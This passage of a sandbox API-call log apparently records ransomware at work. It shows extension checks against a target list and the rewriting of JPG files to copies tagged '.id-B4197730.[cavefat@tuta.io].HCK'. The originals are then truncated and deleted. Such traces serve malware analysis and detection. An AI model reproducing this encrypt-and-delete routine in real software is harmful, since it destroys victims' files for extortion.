office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0168.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.300] lstrlenW (lpString=".doc") returned 4 [0168.300] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.300] lstrlenW (lpString=".docx") returned 5 [0168.300] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0168.300] lstrlenW (lpString=".pdf") returned 4 [0168.300] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.300] lstrlenW (lpString=".xls") returned 4 [0168.300] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString=".xlsx") returned 5 [0168.301] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0168.301] lstrlenW (lpString=".ppt") returned 4 [0168.301] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".zip") returned 4 [0168.301] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString=".rar") returned 4 [0168.301] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString=".bz2") returned 4 [0168.301] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.301] lstrlenW (lpString=".7z") returned 3 [0168.301] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".dbf") returned 4 [0168.301] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".1cd") returned 4 [0168.301] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".jpg") returned 4 [0168.301] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".doc") returned 4 [0168.301] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.301] lstrlenW (lpString=".docx") returned 5 [0168.301] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0168.301] lstrlenW (lpString=".pdf") returned 4 [0168.301] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString=".xls") returned 4 [0168.301] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString=".xlsx") returned 5 [0168.301] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0168.301] lstrlenW (lpString=".ppt") returned 4 [0168.301] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".zip") returned 4 [0168.301] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString=".rar") returned 4 [0168.301] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.301] lstrlenW (lpString=".bz2") returned 4 [0168.301] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.301] lstrlenW (lpString=".7z") returned 3 [0168.301] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".dbf") returned 4 [0168.301] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".1cd") returned 4 [0168.301] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0168.301] lstrlenW (lpString=".jpg") returned 4 [0168.302] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.302] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.302] lstrlenW (lpString="J0145373.JPG") returned 12 [0168.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.302] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17867) returned 1 [0168.302] CloseHandle (hObject=0x354) returned 1 [0168.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220 [0168.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.302] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.302] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.303] GetLastError () returned 0x0 [0168.303] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x45cb, lpOverlapped=0x0) returned 1 [0168.326] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x45d0, lpOverlapped=0x0) returned 1 [0168.328] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.328] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.328] SetEndOfFile (hFile=0x378) returned 1 [0168.331] CloseHandle (hObject=0x378) returned 1 [0168.332] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.332] SetEndOfFile (hFile=0x354) returned 1 [0168.335] CloseHandle (hObject=0x354) returned 1 [0168.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString=".doc") returned 4 [0168.337] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.337] lstrlenW (lpString=".docx") returned 5 [0168.337] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0168.337] lstrlenW (lpString=".pdf") returned 4 [0168.337] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.337] lstrlenW (lpString=".xls") returned 4 [0168.337] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.337] lstrlenW (lpString=".xlsx") returned 5 [0168.337] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0168.337] lstrlenW (lpString=".ppt") returned 4 [0168.337] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString=".zip") returned 4 [0168.337] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.337] lstrlenW (lpString=".rar") returned 4 [0168.337] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.337] lstrlenW (lpString=".bz2") returned 4 [0168.337] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.337] lstrlenW (lpString=".7z") returned 3 [0168.337] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString=".dbf") returned 4 [0168.337] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString=".1cd") returned 4 [0168.337] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString=".jpg") returned 4 [0168.337] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.337] lstrlenW (lpString=".doc") returned 4 [0168.337] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.337] lstrlenW (lpString=".docx") returned 5 [0168.337] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0168.338] lstrlenW (lpString=".pdf") returned 4 [0168.338] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.338] lstrlenW (lpString=".xls") returned 4 [0168.338] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.338] lstrlenW (lpString=".xlsx") returned 5 [0168.338] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0168.338] lstrlenW (lpString=".ppt") returned 4 [0168.338] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.338] lstrlenW (lpString=".zip") returned 4 [0168.338] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.338] lstrlenW (lpString=".rar") returned 4 [0168.338] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.338] lstrlenW (lpString=".bz2") returned 4 [0168.338] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.338] lstrlenW (lpString=".7z") returned 3 [0168.338] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.338] lstrlenW (lpString=".dbf") returned 4 [0168.338] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.338] lstrlenW (lpString=".1cd") returned 4 [0168.338] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0168.338] lstrlenW (lpString=".jpg") returned 4 [0168.338] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.338] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.338] lstrlenW (lpString="J0145879.JPG") returned 12 [0168.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.343] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=35419) returned 1 [0168.343] CloseHandle (hObject=0x388) returned 1 [0168.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 0x220 [0168.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.352] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.352] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.363] GetLastError () returned 0x0 [0168.363] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8a5b, lpOverlapped=0x0) returned 1 [0168.366] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8a60, lpOverlapped=0x0) returned 1 [0168.368] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.368] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.368] SetEndOfFile (hFile=0x360) returned 1 [0168.371] CloseHandle (hObject=0x360) returned 1 [0168.373] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.373] SetEndOfFile (hFile=0x308) returned 1 [0168.376] CloseHandle (hObject=0x308) returned 1 [0168.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0168.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.381] lstrlenW (lpString=".doc") returned 4 [0168.381] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.381] lstrlenW (lpString=".docx") returned 5 [0168.381] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.381] lstrlenW (lpString=".pdf") returned 4 [0168.381] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".xls") returned 4 [0168.382] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".xlsx") returned 5 [0168.382] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.382] lstrlenW (lpString=".ppt") returned 4 [0168.382] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".zip") returned 4 [0168.382] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".rar") returned 4 [0168.382] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".bz2") returned 4 [0168.382] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.382] lstrlenW (lpString=".7z") returned 3 [0168.382] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".dbf") returned 4 [0168.382] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".1cd") returned 4 [0168.382] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".jpg") returned 4 [0168.382] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".doc") returned 4 [0168.382] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.382] lstrlenW (lpString=".docx") returned 5 [0168.382] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.382] lstrlenW (lpString=".pdf") returned 4 [0168.382] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".xls") returned 4 [0168.382] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".xlsx") returned 5 [0168.382] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.382] lstrlenW (lpString=".ppt") returned 4 [0168.382] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".zip") returned 4 [0168.382] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".rar") returned 4 [0168.382] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.382] lstrlenW (lpString=".bz2") returned 4 [0168.382] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.382] lstrlenW (lpString=".7z") returned 3 [0168.382] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".dbf") returned 4 [0168.382] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.382] lstrlenW (lpString=".1cd") returned 4 [0168.383] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0168.383] lstrlenW (lpString=".jpg") returned 4 [0168.383] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.383] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.383] lstrlenW (lpString="J0148309.JPG") returned 12 [0168.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.385] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=43674) returned 1 [0168.385] CloseHandle (hObject=0x378) returned 1 [0168.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220 [0168.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.408] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.408] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.422] GetLastError () returned 0x0 [0168.422] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xaa9a, lpOverlapped=0x0) returned 1 [0168.426] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xaaa0, lpOverlapped=0x0) returned 1 [0168.427] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.427] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.427] SetEndOfFile (hFile=0x378) returned 1 [0168.429] CloseHandle (hObject=0x378) returned 1 [0168.433] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.434] SetEndOfFile (hFile=0x388) returned 1 [0168.441] CloseHandle (hObject=0x388) returned 1 [0168.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0168.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.455] lstrlenW (lpString=".doc") returned 4 [0168.455] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.455] lstrlenW (lpString=".docx") returned 5 [0168.455] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.455] lstrlenW (lpString=".pdf") returned 4 [0168.455] lstrcmpiW (lpString1=".pdf", 